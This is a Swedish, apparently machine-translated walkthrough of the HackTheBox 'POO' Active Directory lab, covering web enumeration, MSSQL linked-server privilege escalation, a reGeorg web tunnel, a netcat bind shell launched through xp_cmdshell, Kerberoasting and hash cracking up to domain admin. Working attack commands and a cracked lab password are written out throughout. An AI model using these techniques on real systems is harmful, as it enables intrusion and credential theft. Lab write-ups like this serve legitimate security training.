HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

I den här artikeln kommer vi att analysera passagen av inte bara en maskin, utan ett helt minilaboratorium från platsen HackTheBox.

Som anges i beskrivningen är POO utformad för att testa färdigheter i alla stadier av attacker i en liten Active Directory-miljö. Målet är att kompromissa med en tillgänglig värd, eskalera privilegier och så småningom äventyra hela domänen genom att samla in 5 flaggor i processen.

Anslutningen till laboratoriet sker via VPN. Det rekommenderas att inte ansluta från en fungerande dator eller från en värd där det finns viktig data för dig, då du kommer in i ett privat nätverk med personer som kan något om informationssäkerhet 🙂

organisationsinformation
För att du ska kunna ta reda på om nya artiklar, programvara och annan information skapade jag kanal i Telegram и grupp för att diskutera eventuella frågor i området IIKB. Även dina personliga önskemål, frågor, förslag och rekommendationer Jag ska ta en titt och svara alla..

All information tillhandahålls endast i utbildningssyfte. Författaren till detta dokument tar inget ansvar för eventuella skador som orsakats någon som ett resultat av användning av kunskap och metoder som erhållits som ett resultat av att studera detta dokument.

intro

Detta slutspel består av två maskiner och innehåller 5 flaggor.

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

Beskrivningen och adressen till den tillgängliga värden anges också.

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

Låt oss komma igång!

Recon flagga

Den här maskinen har IP-adressen 10.13.38.11 som jag lägger till i /etc/hosts.
10.13.38.11 poo.htb

Det första steget är att skanna öppna portar. Eftersom det tar lång tid att skanna alla portar med nmap kommer jag först att göra detta med masscan. Vi skannar alla TCP- och UDP-portar från tun0-gränssnittet med 500pps.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

Nu, för att få mer detaljerad information om tjänsterna som körs på portarna, låt oss köra en skanning med alternativet -A.

nmap -A poo.htb -p80,1433

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

Således har vi IIS- och MSSQL-tjänster. I det här fallet kommer vi att ta reda på det riktiga DNS-namnet för domänen och datorn. På webbservern möts vi av IIS hemsida.

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

Låt oss iterera över katalogerna. Jag använder gobuster för detta. I parametrarna anger vi antalet strömmar 128 (-t), URL (-u), ordbok (-w) och tillägg som intresserar oss (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

Således har vi HTTP-autentisering för /admin-katalogen, såväl som lagringsfilen för .DS_Store-skrivbordstjänsten. .DS_Store är filer som lagrar användarinställningar för en mapp, såsom en lista med filer, ikonplats, vald bakgrundsbild. En sådan fil kan hamna i webbserverkatalogen hos webbutvecklare. Därmed får vi information om innehållet i katalogen. För detta kan du använda DS_Store sökrobot.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

Vi får innehållet i katalogen. Det mest intressanta här är katalogen /dev, från vilken vi kan se källorna och db-filerna i två grenar. Men vi kan använda de första 6 tecknen i fil- och katalognamn om tjänsten är sårbar för IIS ShortName. Du kan kontrollera denna sårbarhet med hjälp av IIS kortnamnsskanner.

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

Och vi hittar en textfil som börjar med "poo_co". Utan att veta vad jag skulle göra härnäst valde jag helt enkelt alla ord som börjar med "co" från katalogens ordbok.

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

Och iterera med wfuzz.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

Och hitta rätt ord! Vi tittar på den här filen, sparar referenserna (att döma av parametern DBNAME är de från MSSQL).

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

Vi lämnar över flaggan, och vi avancerar med 20%.

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

Va flaggan

Vi ansluter till MSSQL, jag använder DBeaver.

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

Vi hittar inget intressant i den här databasen, låt oss skapa en SQL Editor och kolla vilka användare som är.

SELECT name FROM master..syslogins;

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

Vi har två användare. Låt oss kontrollera våra privilegier.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

Det finns alltså inga privilegier. Låt oss se de länkade servrarna, jag skrev om denna teknik i detalj här.

SELECT * FROM master..sysservers;

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

Så vi hittar en annan SQL Server. Låt oss kontrollera exekveringen av kommandon på denna server med openquery().

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

Och vi kan till och med bygga ett frågeträd.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

Faktum är att när vi gör en förfrågan till en länkad server, exekveras förfrågan i en annan användares sammanhang! Låt oss se vilken användarkontext vi kör på den länkade servern.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

Och låt oss nu se i vilket sammanhang begäran från den länkade servern till vår exekveras!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

Det är alltså en DBO-kontext som måste ha alla privilegier. Låt oss kontrollera privilegierna i händelse av en begäran från en länkad server.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

Som ni ser har vi alla privilegier! Låt oss skapa vår admin så här. Men de släpper inte igenom openquery, låt oss göra det genom EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

Och nu ansluter vi till den nya användarens referenser, observera den nya flaggdatabasen.

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

Vi lämnar över denna flagga och går vidare.

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

Backtrack flagga

Låt oss hämta skalet med MSSQL, jag använder mssqlclient från impacket-paketet.

mssqlclient.py ralf:[email protected] -db POO_PUBLIC

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

Vi måste skaffa lösenord, och det första vi redan har träffat är sajten. Därför behöver vi en webbserverkonfiguration (vi kan inte kasta ett bekvämt skal, tydligen fungerar brandväggen).

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

Men åtkomst nekas. Även om vi kan läsa filen från MSSQL behöver vi bara veta vilka programmeringsspråk som är konfigurerade. Och i MSSQL-katalogen får vi reda på att det finns Python.

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

Då är det inga problem att läsa web.config-filen.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

Med referenserna hittade, gå till /admin och plocka upp flaggan.

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

fotfäste flagga

Faktum är att det finns vissa olägenheter med att använda en brandvägg, men tittar vi igenom nätverksinställningarna märker vi att IPv6-protokollet också används!

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

Lägg till den här adressen till /etc/hosts.
dead:babe::1001 poo6.htb
Låt oss skanna värden igen, men den här gången över IPv6.

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

Och WinRM-tjänsten är tillgänglig över IPv6. Låt oss ansluta till de hittade referenserna.

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

Det finns en flagga på skrivbordet, lämna över den.

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

P00ned flagga

Efter spaning på värden med vinärtor vi hittar inget speciellt. Sedan beslutades det att leta efter meriter igen (jag skrev också om detta ämne Artikel). Men jag kunde inte få alla SPN:er från systemet via WinRM.

setspn.exe -T intranet.poo -Q */*

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

Låt oss köra kommandot via MSSQL.

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

På så sätt får vi SPN för användare p00_hr och p00_adm, vilket betyder att de är sårbara för en attack som Kerberoasting. Kort sagt, vi kan få hasharna för deras lösenord.

Först måste du skaffa ett stabilt skal för MSSQL-användarens räkning. Men eftersom vi är begränsade i åtkomst har vi en anslutning till värden endast via portarna 80 och 1433. Men det går att tunnla trafik genom hamn 80! För detta använder vi nästa ansökan. Låt oss ladda upp filen tunnel.aspx till hemkatalogen på webbservern - C: inetpubwwwroot.

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

Men när vi försöker komma åt det får vi ett fel 404. Det betyder att *.aspx-filer inte körs. För att få filer med dessa tillägg att köras, installera ASP.NET 4.5 enligt följande.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

Och nu, när vi kommer åt tunnel.aspx, får vi svaret att allt är klart att köra.

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

Låt oss starta klientdelen av applikationen, som kommer att vidarebefordra trafik. Vi kommer att vidarebefordra all trafik från port 5432 till servern.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

Och vi använder proxykedjor för att skicka trafiken för alla program via vår proxy. Låt oss lägga till denna proxy i konfigurationsfilen /etc/proxychains.conf.

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

Låt oss nu ladda upp programmet till servern netcat, med vilket vi kommer att göra ett stabilt bindskal, och skriptet Åberopa Kerberoast, med vilken vi kommer att utföra Kerberoasting-attacken.

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

Nu, genom MSSQL, startar vi lyssnaren.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

Och vi ansluter via vår proxy.

proxychains rlwrap nc poo.htb 4321

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

Och låt oss hämta hasharna.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

Därefter måste du iterera över dessa hash. Eftersom rockyou inte hade en lösenordsdatalexikon använde jag ALLA lösenordsordböckerna som finns i Seclists. För uppräkning använder vi hashcat.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

Och vi hittar båda lösenorden, det första i lexikonet dutch_passwordlist.txt och det andra i Keyboard-Combinations.txt.

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

Och så vi har tre användare, vi går till domänkontrollanten. Låt oss ta reda på hans adress först.

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

Bra, vi har lärt oss IP-adressen för domänkontrollanten. Låt oss ta reda på alla användare av domänen, samt vem av dem som är administratör. För att ladda ner skriptet för att få information PowerView.ps1. Sedan kommer vi att ansluta med evil-winrm, och specificera katalogen med skriptet i parametern -s. Och sedan är det bara att ladda PowerView-skriptet.

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

Nu har vi tillgång till alla dess funktioner. P00_adm-användaren ser ut som en privilegierad användare, så vi kommer att arbeta i dess sammanhang. Låt oss skapa ett PSCredential-objekt för den här användaren.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Nu kommer alla Powershell-kommandon där vi anger Creds att köras på uppdrag av p00_adm. Låt oss visa en lista över användare och AdminCount-attributet.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

Så vår användare är verkligen privilegierad. Låt oss se vilka grupper han tillhör.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

Vi bekräftar äntligen att användaren är en domänadministratör. Detta ger den rätt att fjärrlogga in på domänkontrollanten. Låt oss försöka logga in med WinRM med vår tunnel. Jag blev förvirrad av felen som utfärdades av reGeorg när jag använde evil-winrm.

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

Sedan använder vi en annan, enklare, manus för att ansluta till WinRM. Öppna och ändra anslutningsparametrar.

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

Vi försöker ansluta, och vi är i systemet.

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

Men det finns ingen flagga. Titta sedan på användaren och kontrollera skrivborden.

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

På mr3ks hittar vi flaggan och laboratoriet är 100% färdigställt.

HackTheBoxendgame. Passage av laboratoriet Professional Offensive Operations. Pentest Active Directory

Det är allt. Som feedback kan du kommentera om du lärde dig något nytt från den här artikeln och om det var användbart för dig.

Du kan gå med oss ​​på Telegram. Där kan du hitta intressant material, sammanslagna kurser och mjukvara. Låt oss samla en community där det kommer att finnas människor som förstår många områden inom IT, då kan vi alltid hjälpa varandra i alla IT- och informationssäkerhetsfrågor.

Källa: will.com

Lägg en kommentar